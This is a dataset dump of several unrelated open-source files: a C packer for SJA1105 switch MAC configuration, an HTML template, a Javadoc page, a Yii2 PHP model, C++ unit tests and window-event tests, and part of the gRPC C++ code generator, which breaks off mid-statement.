repo_name
stringlengths
4
116
path
stringlengths
3
942
size
stringlengths
1
7
content
stringlengths
3
1.05M
license
stringclasses
15 values
openil/sja1105-tool
src/lib/static-config/tables/mac-config.c
8757
/****************************************************************************** * Copyright (c) 2016, NXP Semiconductors * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * 3. Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. *****************************************************************************/ #include <inttypes.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdio.h> /* These are our own include files */ #include <lib/include/static-config.h> #include <lib/include/gtable.h> #include <common.h> static void sja1105et_mac_config_entry_access(void *buf, struct sja1105_mac_config_entry *entry, int write) { int (*pack_or_unpack)(void*, uint64_t*, int, int, int); int size = SIZE_MAC_CONFIG_ENTRY_ET; int offset; int i; if (write == 0) { pack_or_unpack = gtable_unpack; memset(entry, 0, sizeof(*entry)); } else { pack_or_unpack = gtable_pack; memset(buf, 0, size); } offset = 72; for (i = 0; i < 8; i++) { pack_or_unpack(buf, &entry->enabled[i], offset + 0, offset + 0, size); pack_or_unpack(buf, &entry->base[i], offset + 9, offset + 1, size); pack_or_unpack(buf, &entry->top[i], offset + 18, offset + 10, size); offset += 19; } pack_or_unpack(buf, &entry->ifg, 71, 67, size); pack_or_unpack(buf, &entry->speed, 66, 65, size); pack_or_unpack(buf, &entry->tp_delin, 64, 49, size); pack_or_unpack(buf, &entry->tp_delout, 48, 33, size); pack_or_unpack(buf, &entry->maxage, 32, 25, size); pack_or_unpack(buf, &entry->vlanprio, 24, 22, size); pack_or_unpack(buf, &entry->vlanid, 21, 10, size); pack_or_unpack(buf, &entry->ing_mirr, 9, 9, size); pack_or_unpack(buf, &entry->egr_mirr, 8, 8, size); pack_or_unpack(buf, &entry->drpnona664, 7, 7, size); pack_or_unpack(buf, &entry->drpdtag, 6, 6, size); pack_or_unpack(buf, &entry->drpuntag, 5, 5, size); pack_or_unpack(buf, &entry->retag, 4, 4, size); pack_or_unpack(buf, &entry->dyn_learn, 3, 3, size); pack_or_unpack(buf, &entry->egress, 2, 2, size); pack_or_unpack(buf, &entry->ingress, 1, 1, size); } static void sja1105pqrs_mac_config_entry_access(void *buf, struct sja1105_mac_config_entry *entry, int write) { int (*pack_or_unpack)(void*, uint64_t*, int, int, int); int size = SIZE_MAC_CONFIG_ENTRY_PQRS; int offset; int i; if (write == 0) { pack_or_unpack = gtable_unpack; memset(entry, 0, sizeof(*entry)); } else { pack_or_unpack = gtable_pack; memset(buf, 0, size); } offset = 104; for (i = 0; i < 8; i++) { pack_or_unpack(buf, &entry->enabled[i], offset + 0, offset + 0, size); pack_or_unpack(buf, &entry->base[i], offset + 9, offset + 1, size); pack_or_unpack(buf, &entry->top[i], offset + 18, offset + 10, size); offset += 19; } pack_or_unpack(buf, &entry->ifg, 103, 99, size); pack_or_unpack(buf, &entry->speed, 98, 97, size); pack_or_unpack(buf, &entry->tp_delin, 96, 81, size); pack_or_unpack(buf, &entry->tp_delout, 80, 65, size); pack_or_unpack(buf, &entry->maxage, 64, 57, size); pack_or_unpack(buf, &entry->vlanprio, 56, 54, size); pack_or_unpack(buf, &entry->vlanid, 53, 42, size); pack_or_unpack(buf, &entry->ing_mirr, 41, 41, size); pack_or_unpack(buf, &entry->egr_mirr, 40, 40, size); pack_or_unpack(buf, &entry->drpnona664, 39, 39, size); pack_or_unpack(buf, &entry->drpdtag, 38, 38, size); pack_or_unpack(buf, &entry->drpsotag, 37, 37, size); pack_or_unpack(buf, &entry->drpsitag, 36, 36, size); pack_or_unpack(buf, &entry->drpuntag, 35, 35, size); pack_or_unpack(buf, &entry->retag, 34, 34, size); pack_or_unpack(buf, &entry->dyn_learn, 33, 33, size); pack_or_unpack(buf, &entry->egress, 32, 32, size); pack_or_unpack(buf, &entry->ingress, 31, 31, size); pack_or_unpack(buf, &entry->mirrcie, 30, 30, size); pack_or_unpack(buf, &entry->mirrcetag, 29, 29, size); pack_or_unpack(buf, &entry->ingmirrvid, 28, 17, size); pack_or_unpack(buf, &entry->ingmirrpcp, 16, 14, size); pack_or_unpack(buf, &entry->ingmirrdei, 13, 13, size); } /* * sja1105et_mac_config_entry_pack * sja1105et_mac_config_entry_unpack * sja1105pqrs_mac_config_entry_pack * sja1105pqrs_mac_config_entry_unpack */ DEFINE_SEPARATE_PACK_UNPACK_ACCESSORS(mac_config); void sja1105_mac_config_entry_fmt_show(char *print_buf, char *fmt, struct sja1105_mac_config_entry *entry) { char base_buf[MAX_LINE_SIZE]; char top_buf[MAX_LINE_SIZE]; char enabled_buf[MAX_LINE_SIZE]; print_array(base_buf, entry->base, 8); print_array(top_buf, entry->top, 8); print_array(enabled_buf, entry->enabled, 8); /* We have to compromise by keeping the device_id out of the prototype * definition of this function. It is therefore preferable to see a few * extra zero-valued fields on the E/T rather than not see the values at * all on the P/Q/R/S. */ formatted_append(print_buf, fmt, "BASE %s", base_buf); formatted_append(print_buf, fmt, "TOP %s", top_buf); formatted_append(print_buf, fmt, "ENABLED %s", enabled_buf); formatted_append(print_buf, fmt, "IFG 0x%" PRIX64, entry->ifg); formatted_append(print_buf, fmt, "SPEED 0x%" PRIX64, entry->speed); formatted_append(print_buf, fmt, "TP_DELIN 0x%" PRIX64, entry->tp_delin); formatted_append(print_buf, fmt, "TP_DELOUT 0x%" PRIX64, entry->tp_delout); formatted_append(print_buf, fmt, "MAXAGE 0x%" PRIX64, entry->maxage); formatted_append(print_buf, fmt, "VLANPRIO 0x%" PRIX64, entry->vlanprio); formatted_append(print_buf, fmt, "VLANID 0x%" PRIX64, entry->vlanid); formatted_append(print_buf, fmt, "ING_MIRR 0x%" PRIX64, entry->ing_mirr); formatted_append(print_buf, fmt, "EGR_MIRR 0x%" PRIX64, entry->egr_mirr); formatted_append(print_buf, fmt, "DRPNONA664 0x%" PRIX64, entry->drpnona664); formatted_append(print_buf, fmt, "DRPDTAG 0x%" PRIX64, entry->drpdtag); formatted_append(print_buf, fmt, "DRPUNTAG 0x%" PRIX64, entry->drpuntag); formatted_append(print_buf, fmt, "DRPSOTAG 0x%" PRIX64, entry->drpsotag); formatted_append(print_buf, fmt, "DRPSITAG 0x%" PRIX64, entry->drpsitag); formatted_append(print_buf, fmt, "RETAG 0x%" PRIX64, entry->retag); formatted_append(print_buf, fmt, "DYN_LEARN 0x%" PRIX64, entry->dyn_learn); formatted_append(print_buf, fmt, "EGRESS 0x%" PRIX64, entry->egress); formatted_append(print_buf, fmt, "INGRESS 0x%" PRIX64, entry->ingress); formatted_append(print_buf, fmt, "MIRRCIE 0x%" PRIX64, entry->mirrcie); formatted_append(print_buf, fmt, "MIRRCETAG 0x%" PRIX64, entry->mirrcetag); formatted_append(print_buf, fmt, "INGMIRRVID 0x%" PRIX64, entry->ingmirrvid); formatted_append(print_buf, fmt, "INGMIRRPCP 0x%" PRIX64, entry->ingmirrpcp); formatted_append(print_buf, fmt, "INGMIRRDEI 0x%" PRIX64, entry->ingmirrdei); } void sja1105_mac_config_entry_show(struct sja1105_mac_config_entry *entry) { char print_buf[MAX_LINE_SIZE]; char *fmt = "%s\n"; memset(print_buf, 0, MAX_LINE_SIZE); sja1105_mac_config_entry_fmt_show(print_buf, fmt, entry); puts(print_buf); }
bsd-3-clause
scarletsky/aniquo-web
app/views/search/searchResult.html
271
<div layout="column"> <div ng-if="viewType === 'source'"> <div ng-include="'views/source/sourceList.html'"></div> </div> <div ng-if="viewType === 'character'"> <div ng-include="'views/character/characterList.html'"></div> </div> </div>
bsd-3-clause
nivedhithaVenkatachalam/grpc-java
examples/build/docs/javadoc/edu/sjsu/cmpe273/lab2/PollServiceServer.html
8408
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_75) on Wed Mar 18 19:43:01 PDT 2015 --> <title>PollServiceServer (grpc-examples 0.1.0-SNAPSHOT API)</title> <meta name="date" content="2015-03-18"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="PollServiceServer (grpc-examples 0.1.0-SNAPSHOT API)"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../edu/sjsu/cmpe273/lab2/PollServiceProto.html" title="class in edu.sjsu.cmpe273.lab2"><span class="strong">Prev Class</span></a></li> <li>Next Class</li> </ul> <ul class="navList"> <li><a href="../../../../index.html?edu/sjsu/cmpe273/lab2/PollServiceServer.html" target="_top">Frames</a></li> <li><a href="PollServiceServer.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor_summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method_summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor_detail">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method_detail">Method</a></li> </ul> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <!-- ======== START OF CLASS DATA ======== --> <div class="header"> <div class="subTitle">edu.sjsu.cmpe273.lab2</div> <h2 title="Class PollServiceServer" class="title">Class PollServiceServer</h2> </div> <div class="contentContainer"> <ul class="inheritance"> <li>java.lang.Object</li> <li> <ul class="inheritance"> <li>edu.sjsu.cmpe273.lab2.PollServiceServer</li> </ul> </li> </ul> <div class="description"> <ul class="blockList"> <li class="blockList"> <hr> <br> <pre>public class <span class="strong">PollServiceServer</span> extends java.lang.Object</pre> <div class="block">Server that manages startup/shutdown of a <code>Greeter</code> server.</div> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- ======== CONSTRUCTOR SUMMARY ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor_summary"> <!-- --> </a> <h3>Constructor Summary</h3> <table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation"> <caption><span>Constructors</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colOne" scope="col">Constructor and Description</th> </tr> <tr class="altColor"> <td class="colOne"><code><strong><a href="../../../../edu/sjsu/cmpe273/lab2/PollServiceServer.html#PollServiceServer()">PollServiceServer</a></strong>()</code>&nbsp;</td> </tr> </table> </li> </ul> <!-- ========== METHOD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="method_summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation"> <caption><span>Methods</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>static void</code></td> <td class="colLast"><code><strong><a href="../../../../edu/sjsu/cmpe273/lab2/PollServiceServer.html#main(java.lang.String[])">main</a></strong>(java.lang.String[]&nbsp;args)</code> <div class="block">Main launches the server from the command line.</div> </td> </tr> </table> <ul class="blockList"> <li class="blockList"><a name="methods_inherited_from_class_java.lang.Object"> <!-- --> </a> <h3>Methods inherited from class&nbsp;java.lang.Object</h3> <code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li> </ul> </li> </ul> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ========= CONSTRUCTOR DETAIL ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor_detail"> <!-- --> </a> <h3>Constructor Detail</h3> <a name="PollServiceServer()"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>PollServiceServer</h4> <pre>public&nbsp;PollServiceServer()</pre> </li> </ul> </li> </ul> <!-- ============ METHOD DETAIL ========== --> <ul class="blockList"> <li class="blockList"><a name="method_detail"> <!-- --> </a> <h3>Method Detail</h3> <a name="main(java.lang.String[])"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>main</h4> <pre>public static&nbsp;void&nbsp;main(java.lang.String[]&nbsp;args) throws java.lang.Exception</pre> <div class="block">Main launches the server from the command line.</div> <dl><dt><span class="strong">Throws:</span></dt> <dd><code>java.lang.Exception</code></dd></dl> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- ========= END OF CLASS DATA ========= --> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../edu/sjsu/cmpe273/lab2/PollServiceProto.html" title="class in edu.sjsu.cmpe273.lab2"><span class="strong">Prev Class</span></a></li> <li>Next Class</li> </ul> <ul class="navList"> <li><a href="../../../../index.html?edu/sjsu/cmpe273/lab2/PollServiceServer.html" target="_top">Frames</a></li> <li><a href="PollServiceServer.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor_summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method_summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor_detail">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method_detail">Method</a></li> </ul> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
bsd-3-clause
realphp/yii2-admin
models/Measure.php
946
<?php namespace app\models; use Yii; class Measure extends \yii\db\ActiveRecord { public static function tableName() { return '{{%measure}}'; } public function getColum($cnum, $date, $row, $col) { $obj = self::find()->where([ 'cnum' => $cnum, 'date' => $date, 'row' => $row, 'col' => $col, ])->select(['val'])->one(); return $obj ? $obj->val : ''; } public function getMonth($date) { $cnum = YII::$app->user->identity->cnum; $obj = self::find()->where([ 'cnum' => $cnum, 'date' => $date, ])->select(['val', 'row', 'col'])->all(); $data = []; if ($obj) { foreach ($obj as $key => $val) { $data[$val->row][$val->col] = $val->val; } } return $data; } }
bsd-3-clause
rcthomas/C3
testing/013-stack-test.cc
3107
#include "gtest/gtest.h" #include "C3_Stack.hh" TEST( StackTest, Construct ) { C3::size_type nframes = 2; C3::size_type ncolumns = 3; C3::size_type nrows = 4; C3::Stack< int > container( nframes, ncolumns, nrows ); EXPECT_EQ( nframes , container.nframes() ); EXPECT_EQ( ncolumns, container.ncolumns() ); EXPECT_EQ( nrows , container.nrows() ); } TEST( StackTest, ConstructWithInitialization ) { C3::size_type nframes = 2; C3::size_type ncolumns = 3; C3::size_type nrows = 4; C3::Stack< int > container( nframes, ncolumns, nrows, 37 ); EXPECT_EQ( nframes , container.nframes() ); EXPECT_EQ( ncolumns, container.ncolumns() ); EXPECT_EQ( nrows , container.nrows() ); for( auto pixel : container ) EXPECT_EQ( 37, pixel ); } TEST( StackTest, AccessByCoordinates ) { C3::size_type nframes = 2; C3::size_type ncolumns = 3; C3::size_type nrows = 4; C3::Stack< int > container( nframes, ncolumns, nrows ); auto pos = 0; for( auto k = 0; k < nrows; ++k ) { for( auto j = 0; j < ncolumns; ++j ) { for( auto i = 0; i < nframes; ++i ) container( i, j, k ) = pos++; } } pos = 0; for( auto pixel : container ) EXPECT_EQ( pos++, pixel ); pos = 531; for( auto& pixel : container ) pixel = pos++; pos = 531; for( auto k = 0; k < nrows; ++k ) { for( auto j = 0; j < ncolumns; ++j ) { for( auto i = 0; i < nframes; ++i ) EXPECT_EQ( pos++, container( i, j, k ) ); } } } TEST( StackTest, AssignPixel ) { C3::size_type nframes = 2; C3::size_type ncolumns = 3; C3::size_type nrows = 4; C3::Stack< int > container( nframes, ncolumns, nrows ); auto const number = 312211; container = number; for( auto pixel : container ) EXPECT_EQ( number, pixel ); } TEST( StackTest, ConvertValueType ) { C3::size_type nframes = 2; C3::size_type ncolumns = 2; C3::size_type nrows = 3; C3::Stack< double > container( nframes, ncolumns, nrows ); container( 0, 0, 0 ) = 1.1; container( 1, 0, 0 ) = 11.2; container( 0, 1, 0 ) = 21.3; container( 1, 1, 0 ) = 1211.4; container( 0, 0, 1 ) = 111221.5; container( 1, 0, 1 ) = 312211.5; container( 0, 1, 1 ) = 21.1; container( 1, 1, 1 ) = 211.2; container( 0, 0, 2 ) = 221.3; container( 1, 0, 2 ) = 21211.4; container( 0, 1, 2 ) = 2111221.5; container( 1, 1, 2 ) = 2312211.5; auto other = C3::Stack< int >( container ); EXPECT_EQ( 1 , other( 0, 0, 0 ) ); EXPECT_EQ( 11 , other( 1, 0, 0 ) ); EXPECT_EQ( 21 , other( 0, 1, 0 ) ); EXPECT_EQ( 1211 , other( 1, 1, 0 ) ); EXPECT_EQ( 111221 , other( 0, 0, 1 ) ); EXPECT_EQ( 312211 , other( 1, 0, 1 ) ); EXPECT_EQ( 21 , other( 0, 1, 1 ) ); EXPECT_EQ( 211 , other( 1, 1, 1 ) ); EXPECT_EQ( 221 , other( 0, 0, 2 ) ); EXPECT_EQ( 21211 , other( 1, 0, 2 ) ); EXPECT_EQ( 2111221, other( 0, 1, 2 ) ); EXPECT_EQ( 2312211, other( 1, 1, 2 ) ); }
bsd-3-clause
andyfriesen/epsilon
test/wmtest/wmtest.c
1559
#include <stdio.h> #include "epsilon.h" #include "epsilon/wm/wm.h" #include "epsilon/event/event.h" int main() { eps_Window* myWindow; int kill = 0; eps_wm_initialize(); myWindow = eps_wm_createWindow(640, 480, 0); while (!kill) { eps_Event event; if (eps_event_waitEvent(myWindow, &event)) { switch (event.type) { case EPS_EVENT_CLOSE: kill = 1; printf("Close event! Commiting suicide.\n"); break; case EPS_EVENT_KEY: printf("Key event! Key %i %s!\n", event.key.keyCode, event.key.pressed ? "pressed" : "unpressed" ); break; case EPS_EVENT_MOUSE_BUTTON_DOWN: case EPS_EVENT_MOUSE_BUTTON_UP: printf("Mouse button %i %s!\n", event.mouse.buttonIndex, (event.type == EPS_EVENT_MOUSE_BUTTON_DOWN) ? "pressed" : "unpressed" ); break; case EPS_EVENT_MOUSE_MOTION: printf("Mouse moved to %3i,%3i\n", event.mouse.x, event.mouse.y); break; case EPS_EVENT_MOUSE_WHEEL: printf("Mouse wheel moved to %i\n", event.mouse.wheelState); break; default: printf("Some other event I do not understand!! Type is %i\n", event.type); } } } eps_wm_destroyWindow(myWindow); eps_wm_shutDown(); }
bsd-3-clause
chenbaihu/grpc
src/compiler/cpp_generator.cc
30007
/* * * Copyright 2015, Google Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * Neither the name of Google Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include <string> #include <map> #include "src/compiler/cpp_generator.h" #include "src/compiler/cpp_generator_helpers.h" #include <google/protobuf/descriptor.h> #include <google/protobuf/descriptor.pb.h> #include <google/protobuf/io/printer.h> #include <google/protobuf/io/zero_copy_stream_impl_lite.h> #include <sstream> namespace grpc_cpp_generator { namespace { template <class T> std::string as_string(T x) { std::ostringstream out; out << x; return out.str(); } bool NoStreaming(const google::protobuf::MethodDescriptor *method) { return !method->client_streaming() && !method->server_streaming(); } bool ClientOnlyStreaming(const google::protobuf::MethodDescriptor *method) { return method->client_streaming() && !method->server_streaming(); } bool ServerOnlyStreaming(const google::protobuf::MethodDescriptor *method) { return !method->client_streaming() && method->server_streaming(); } bool BidiStreaming(const google::protobuf::MethodDescriptor *method) { return method->client_streaming() && method->server_streaming(); } bool HasUnaryCalls(const google::protobuf::FileDescriptor *file) { for (int i = 0; i < file->service_count(); i++) { for (int j = 0; j < file->service(i)->method_count(); j++) { if (NoStreaming(file->service(i)->method(j))) { return true; } } } return false; } bool HasClientOnlyStreaming(const google::protobuf::FileDescriptor *file) { for (int i = 0; i < file->service_count(); i++) { for (int j = 0; j < file->service(i)->method_count(); j++) { if (ClientOnlyStreaming(file->service(i)->method(j))) { return true; } } } return false; } bool HasServerOnlyStreaming(const google::protobuf::FileDescriptor *file) { for (int i = 0; i < file->service_count(); i++) { for (int j = 0; j < file->service(i)->method_count(); j++) { if (ServerOnlyStreaming(file->service(i)->method(j))) { return true; } } } return false; } bool HasBidiStreaming(const google::protobuf::FileDescriptor *file) { for (int i = 0; i < file->service_count(); i++) { for (int j = 0; j < file->service(i)->method_count(); j++) { if (BidiStreaming(file->service(i)->method(j))) { return true; } } } return false; } } // namespace std::string GetHeaderIncludes(const google::protobuf::FileDescriptor *file) { std::string temp = "#include <grpc++/impl/internal_stub.h>\n" "#include <grpc++/impl/service_type.h>\n" "#include <grpc++/status.h>\n" "\n" "namespace grpc {\n" "class CompletionQueue;\n" "class ChannelInterface;\n" "class RpcService;\n" "class ServerContext;\n"; if (HasUnaryCalls(file)) { temp.append( "template <class OutMessage> class ClientAsyncResponseReader;\n"); temp.append( "template <class OutMessage> class ServerAsyncResponseWriter;\n"); } if (HasClientOnlyStreaming(file)) { temp.append("template <class OutMessage> class ClientWriter;\n"); temp.append("template <class InMessage> class ServerReader;\n"); temp.append("template <class OutMessage> class ClientAsyncWriter;\n"); temp.append("template <class OutMessage, class InMessage> class ServerAsyncReader;\n"); } if (HasServerOnlyStreaming(file)) { temp.append("template <class InMessage> class ClientReader;\n"); temp.append("template <class OutMessage> class ServerWriter;\n"); temp.append("template <class OutMessage> class ClientAsyncReader;\n"); temp.append("template <class InMessage> class ServerAsyncWriter;\n"); } if (HasBidiStreaming(file)) { temp.append( "template <class OutMessage, class InMessage>\n" "class ClientReaderWriter;\n"); temp.append( "template <class OutMessage, class InMessage>\n" "class ServerReaderWriter;\n"); temp.append( "template <class OutMessage, class InMessage>\n" "class ClientAsyncReaderWriter;\n"); temp.append( "template <class OutMessage, class InMessage>\n" "class ServerAsyncReaderWriter;\n"); } temp.append("} // namespace grpc\n"); return temp; } std::string GetSourceIncludes() { return "#include <grpc++/async_unary_call.h>\n" "#include <grpc++/channel_interface.h>\n" "#include <grpc++/impl/client_unary_call.h>\n" "#include <grpc++/impl/rpc_method.h>\n" "#include <grpc++/impl/rpc_service_method.h>\n" "#include <grpc++/impl/service_type.h>\n" "#include <grpc++/stream.h>\n"; } void PrintHeaderClientMethod(google::protobuf::io::Printer *printer, const google::protobuf::MethodDescriptor *method, std::map<std::string, std::string> *vars) { (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print(*vars, "::grpc::Status $Method$(::grpc::ClientContext* context, " "const $Request$& request, $Response$* response);\n"); printer->Print( *vars, "std::unique_ptr< ::grpc::ClientAsyncResponseReader< $Response$>> " "$Method$(::grpc::ClientContext* context, " "const $Request$& request, " "::grpc::CompletionQueue* cq, void* tag);\n"); } else if (ClientOnlyStreaming(method)) { printer->Print( *vars, "std::unique_ptr< ::grpc::ClientWriter< $Request$>> $Method$(" "::grpc::ClientContext* context, $Response$* response);\n"); printer->Print( *vars, "std::unique_ptr< ::grpc::ClientAsyncWriter< $Request$>> $Method$(" "::grpc::ClientContext* context, $Response$* response, " "::grpc::CompletionQueue* cq, void* tag);\n"); } else if (ServerOnlyStreaming(method)) { printer->Print( *vars, "std::unique_ptr< ::grpc::ClientReader< $Response$>> $Method$(" "::grpc::ClientContext* context, const $Request$& request);\n"); printer->Print( *vars, "std::unique_ptr< ::grpc::ClientAsyncReader< $Response$>> $Method$(" "::grpc::ClientContext* context, const $Request$& request, " "::grpc::CompletionQueue* cq, void* tag);\n"); } else if (BidiStreaming(method)) { printer->Print( *vars, "std::unique_ptr< ::grpc::ClientReaderWriter< $Request$, $Response$>> " "$Method$(::grpc::ClientContext* context);\n"); printer->Print(*vars, "std::unique_ptr< ::grpc::ClientAsyncReaderWriter< " "$Request$, $Response$>> " "$Method$(::grpc::ClientContext* context, " "::grpc::CompletionQueue* cq, void* tag);\n"); } } void PrintHeaderServerMethodSync( google::protobuf::io::Printer *printer, const google::protobuf::MethodDescriptor *method, std::map<std::string, std::string> *vars) { (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print(*vars, "virtual ::grpc::Status $Method$(" "::grpc::ServerContext* context, const $Request$* request, " "$Response$* response);\n"); } else if (ClientOnlyStreaming(method)) { printer->Print(*vars, "virtual ::grpc::Status $Method$(" "::grpc::ServerContext* context, " "::grpc::ServerReader< $Request$>* reader, " "$Response$* response);\n"); } else if (ServerOnlyStreaming(method)) { printer->Print(*vars, "virtual ::grpc::Status $Method$(" "::grpc::ServerContext* context, const $Request$* request, " "::grpc::ServerWriter< $Response$>* writer);\n"); } else if (BidiStreaming(method)) { printer->Print( *vars, "virtual ::grpc::Status $Method$(" "::grpc::ServerContext* context, " "::grpc::ServerReaderWriter< $Response$, $Request$>* stream);" "\n"); } } void PrintHeaderServerMethodAsync( google::protobuf::io::Printer *printer, const google::protobuf::MethodDescriptor *method, std::map<std::string, std::string> *vars) { (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), 